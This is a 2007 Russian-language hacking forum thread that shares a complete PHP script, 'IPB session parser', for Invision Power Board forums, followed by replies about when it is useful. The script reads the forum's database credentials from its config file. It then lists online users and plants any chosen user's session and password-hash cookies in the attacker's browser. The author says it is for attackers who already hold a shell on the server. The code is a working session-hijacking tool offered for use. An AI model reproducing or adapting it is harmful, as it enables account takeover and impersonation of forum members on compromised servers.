IPB session parser

Discussion in 'Песочница' started by Goudini, 31 Aug 2007.

  1. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    IPB session parser

    Небольшой серверный скрипт, который позволяет залогиниться под любым пользователем форума, который сейчас в онлайне.
    Для работы нужно указать только путь к файлу конфигурации форума conf_global.php.
    Из этого файла будет вынута информация для работы с MySQL.
    Если работа скрипта завершится успешно, то браузеру будут посланы cookies выбраного пользователя. Пример:

    Code:
    Set-Cookie: session_id=bd2f6468663aa8eaefa5825430b8ba26; path=/
    Set-Cookie: member_id=2; expires=Sat, 30-Aug-2008 12:14:38 GMT; path=/
    Set-Cookie: pass_hash=081f90c676a2938ce101e197607c64cb; expires=Sat, 30-Aug-2008 12:14:38 GMT; path=/
    Set-Cookie: coppa=0; path=/
    Set-Cookie: session_id=bd2f6468663aa8eaefa5825430b8ba26; path=/
    Сам скрипт в виде php-файла подан ниже.

    PHP:
    <?php
    /**
    * Script that helps you to log in IPB forums with different users
    * Tested on IPB 2.1.5, IP.Board 2.3.1
    * Goudini (c) 31.08.2007
    */

    // Path to config-file, change it to make script work!
    $configpath '/var/www/html/forum/conf_global.php';
    include(
    $configpath);

    // mysql
    $server $INFO['sql_host'];
    $username $INFO['sql_user'];
    $password $INFO['sql_pass'];
    $database_name $INFO['sql_database'];
    $prefix $INFO['sql_tbl_prefix'];

    mysql_connect($server$username$password) or die(mysql_error());
    mysql_select_db($database_name) or die(mysql_error());

    // sessions, cookies
    if (isset($_GET["login"]) && $_GET["login"] != '')
    {
        
    $name mysql_real_escape_string($_GET["login"]);

        
    $query "SELECT member_login_key FROM ${prefix}members WHERE name = '$name'";
        
    $result mysql_query($query) or die(mysql_error());
        
    $row mysql_fetch_array($result);

        
    $c_member_login_key $row['member_login_key']; // cookie

        
    $query "SELECT id, member_id  FROM ${prefix}sessions WHERE member_name = '$name'";
        
    $result mysql_query($query) or die(mysql_error());
        
    $row mysql_fetch_array($result);

        
    $c_id $row['id'];                    // cookie
        
    $c_member_id $row['member_id'];        // cookie
        
        
    if (isset($c_member_login_key) && isset($c_id) && isset($c_member_id)) 
        {
            
    setcookie('session_id'$c_id'/');
            
    setcookie('member_id'$c_member_idtime()+60*60*24*30 '/');
            
    setcookie('pass_hash'$c_member_login_keytime()+60*60*24*30 '/');
            
    setcookie('coppa'0'/');
            
    setcookie('session_id'$c_id'/');

            
    $msg ">Done... Cookie setted... Now your UID is: $c_member_id! Refresh forum!";
        }
        else
        {
            
    $msg ">Error! User's session not found";
        }


    ?>
    <html>
    <title>::[ IPB session parser ]::</title>
    <style>
        body,table {
        background: #373737;
        font-size: 12px;
        font-family: Verdana, sans-serif;
        word-spacing: 2px;
        color: #C3C3C3;
        }
        a {
        font-weight: bold;
        color: #C3C3C3;
        text-decoration: underline;
        }
        a:hover {
        text-decoration: underline;
        border-bottom: 1px #5CAF3D;
        background: #4B4B4B;
        }
    </style>
    <body>

    <form action="<?=$_SERVER["REQUEST_URI"]?>">

    <table width="100%" height="10%">
    <tr>
        <td align="center" valign="top">
            <b>username:</b> <input type="text" name="login">
            <input type="submit" value="get session!">
            <br><br><a href="<?=$_SERVER["PHP_SELF"]?>?show=1">show all logged users</a>
        </td>
    </tr>
    </table>

    </form>

        <?php
        
    // results
        
    if (isset($_GET["show"]))
        {
            
    $query "SELECT member_name, browser FROM ${prefix}sessions ORDER BY member_group DESC";
            
    $result mysql_query($query) or die (mysql_error());
                    echo 
    "<table>";
            while(
    $row mysql_fetch_array($result))
                {
                    
    $member_name $row['member_name'];
                    
    $browser $row['browser'];
                    if (
    $member_name != '')
                    {
                    echo 
    "<tr><td>";
                    echo 
    "<a href=" $_SERVER["PHP_SELF"] . "?login=" $member_name ">" $member_name;
                    echo 
    "</td><td>$browser</td></tr>";
                    }
                }
        }
        echo 
    "<h3 align='center'><font color='#E1E1E1'>".@$msg."</font></h3></table>";

    mysql_close();
    ?>
    </body>
    </html>
     
    3 people like this.
  2. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Скрипт нужен только для тех случаев, когда у нас есть доступ к бд, но мы не можем расшифровать хеш?
     
  3. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    Piflit:
    Скрипт выполняеться на сервере, собственно он нужен для тех случаев если у нас есть шелл, и нам хочется по-быстрому заходить на форум под разными пользователями. Очень удобно когда на форуме много юзеров онлайн.
     
  4. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Еще у нас должен быть пасс к бд.
     
  5. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    у тебя шелл на сервере... чего тебе еще нужно?
     
  6. Светлый

    Светлый Elder - Старейшина

    Joined:
    28 Jun 2007
    Messages:
    159
    Likes Received:
    47
    Reputations:
    46
    Скрипт написан для удобства.
     
    #6 Светлый, 18 Sep 2007
    Last edited: 18 Sep 2007
  7. FraiDex

    FraiDex Elder - Старейшина

    Joined:
    16 Jun 2006
    Messages:
    193
    Likes Received:
    68
    Reputations:
    -11
    и нафига те он если ты на серваке, conf_global.php проинклудил и сё
     
  8. Светлый

    Светлый Elder - Старейшина

    Joined:
    28 Jun 2007
    Messages:
    159
    Likes Received:
    47
    Reputations:
    46
    Кстати на 2.2.2 вместо подмены куков почему-то выкидывает юзеров